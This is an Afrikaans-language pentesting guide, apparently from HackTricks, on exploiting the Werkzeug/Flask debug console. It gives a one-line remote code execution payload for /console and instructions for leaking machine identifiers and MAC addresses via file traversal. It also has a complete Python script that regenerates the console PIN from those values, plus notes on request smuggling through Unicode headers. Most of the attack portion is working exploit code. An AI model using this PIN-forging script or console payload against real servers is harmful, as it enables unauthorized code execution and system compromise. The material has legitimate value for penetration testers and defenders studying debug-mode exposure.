# Werkzeug / Flask Debug {{#include ../../banners/hacktricks-training.md}} ## Konsol RCE As debug aktief is, kan jy probeer om toegang te verkry tot `/console` en RCE te verkry. ```python __import__('os').popen('whoami').read(); ``` ![](<../../images/image (117).png>) Daar is ook verskeie exploits op die internet soos [hierdie](https://github.com/its-arun/Werkzeug-Debug-RCE) of een in metasploit. ## Pin Beskerm - Pad Traversal In sommige gevalle gaan die **`/console`** eindpunt beskerm word deur 'n pin. As jy 'n **file traversal vulnerability** het, kan jy al die nodige inligting lek om daardie pin te genereer. ### Werkzeug Console PIN Exploit Forceer 'n debug foutbladsy in die app om dit te sien: ``` The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` 'n Boodskap rakende die "konsole vergrendel" scenario word aangetref wanneer daar probeer word om toegang te verkry tot Werkzeug se foutopsporing koppelvlak, wat 'n vereiste vir 'n PIN aandui om die konsole te ontgrendel. Die voorstel word gemaak om die konsole PIN te benut deur die PIN generasie-algoritme in Werkzeug se foutopsporing inisialiseringslĂȘer (`__init__.py`) te analiseer. Die PIN generasie-meganisme kan bestudeer word vanaf die [**Werkzeug bronkode-bewaarplek**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), alhoewel dit aanbeveel word om die werklike bediener kode te verkry via 'n lĂȘer traversering kwesbaarheid weens moontlike weergawe verskille. Om die konsole PIN te benut, is twee stelle van veranderlikes, `probably_public_bits` en `private_bits`, nodig: #### **`probably_public_bits`** - **`username`**: Verwys na die gebruiker wat die Flask-sessie begin het. - **`modname`**: Gewoonlik aangewys as `flask.app`. - **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Oor die algemeen los dit op na **Flask**. - **`getattr(mod, '__file__', None)`**: Verteenwoordig die volle pad na `app.py` binne die Flask-gids (bv. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). As `app.py` nie van toepassing is nie, **probeer `app.pyc`**. #### **`private_bits`** - **`uuid.getnode()`**: Verkry die MAC-adres van die huidige masjien, met `str(uuid.getnode())` wat dit in 'n desimale formaat vertaal. - Om **die bediener se MAC-adres te bepaal**, moet 'n mens die aktiewe netwerk koppelvlak wat deur die app gebruik word, identifiseer (bv. `ens3`). In gevalle van onsekerheid, **lek `/proc/net/arp`** om die toestel-ID te vind, dan **onttrek die MAC-adres** van **`/sys/class/net//address`**. - Om 'n hexadesimale MAC-adres na desimaal om te skakel, kan dit soos hieronder gedoen word: ```python # Voorbeeld MAC-adres: 56:00:02:7a:23:ac >>> print(0x5600027a23ac) 94558041547692 ``` - **`get_machine_id()`**: Voeg data van `/etc/machine-id` of `/proc/sys/kernel/random/boot_id` saam met die eerste lyn van `/proc/self/cgroup` na die laaste skuinsstreep (`/`).
Kode vir `get_machine_id()` ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id if _machine_id is not None: return _machine_id def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b"" # machine-id is stable across boots, boot_id is not. for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue if value: linux += value break # Containers share the same machine id, add some cgroup # information. This is used outside containers too but should be # relatively stable across boots. try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass if linux: return linux # On OS X, use ioreg to get the computer's serial number. try: ```
Na die versameling van alle nodige data, kan die exploit-skrip uitgevoer word om die Werkzeug-konsol PIN te genereer: Na die versameling van alle nodige data, kan die exploit-skrip uitgevoer word om die Werkzeug-konsol PIN te genereer. Die skrip gebruik die saamgestelde `probably_public_bits` en `private_bits` om 'n hash te skep, wat dan verdere verwerking ondergaan om die finale PIN te produseer. Hieronder is die Python-kode om hierdie proses uit te voer: ```python import hashlib from itertools import chain probably_public_bits = [ 'web3_user', # username 'flask.app', # modname 'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address 'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id ] # h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0 h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') # h.update(b'shittysalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) ``` Hierdie skripte produseer die PIN deur die gekonkateneerde bits te hash, spesifieke sout (`cookiesalt` en `pinsalt`) by te voeg, en die uitvoer te formateer. Dit is belangrik om te noem dat die werklike waardes vir `probably_public_bits` en `private_bits` akkuraat van die teikenstelsel verkry moet word om te verseker dat die gegenereerde PIN ooreenstem met die een wat deur die Werkzeug-konsol verwag word. > [!TIP] > As jy op 'n **ou weergawe** van Werkzeug is, probeer om die **hashing-algoritme na md5** te verander in plaas van sha1. ## Werkzeug Unicode karakters Soos waargeneem in [**hierdie probleem**](https://github.com/pallets/werkzeug/issues/2833), sluit Werkzeug nie 'n versoek met Unicode karakters in headers. En soos verduidelik in [**hierdie skrywe**](https://mizu.re/post/twisty-python), kan dit 'n CL.0 Request Smuggling kwesbaarheid veroorsaak. Dit is omdat dit in Werkzeug moontlik is om sommige **Unicode** karakters te stuur en dit sal die bediener **breek**. As die HTTP-verbinding egter met die header **`Connection: keep-alive`** geskep is, sal die liggaam van die versoek nie gelees word nie en die verbinding sal steeds oop wees, sodat die **liggaam** van die versoek as die **volgende HTTP versoek** behandel sal word. ## Geoutomatiseerde Exploitatie {{#ref}} https://github.com/Ruulian/wconsole_extractor {{#endref}} ## Verwysings - [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/) - [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955) - [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833) - [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python) {{#include ../../banners/hacktricks-training.md}}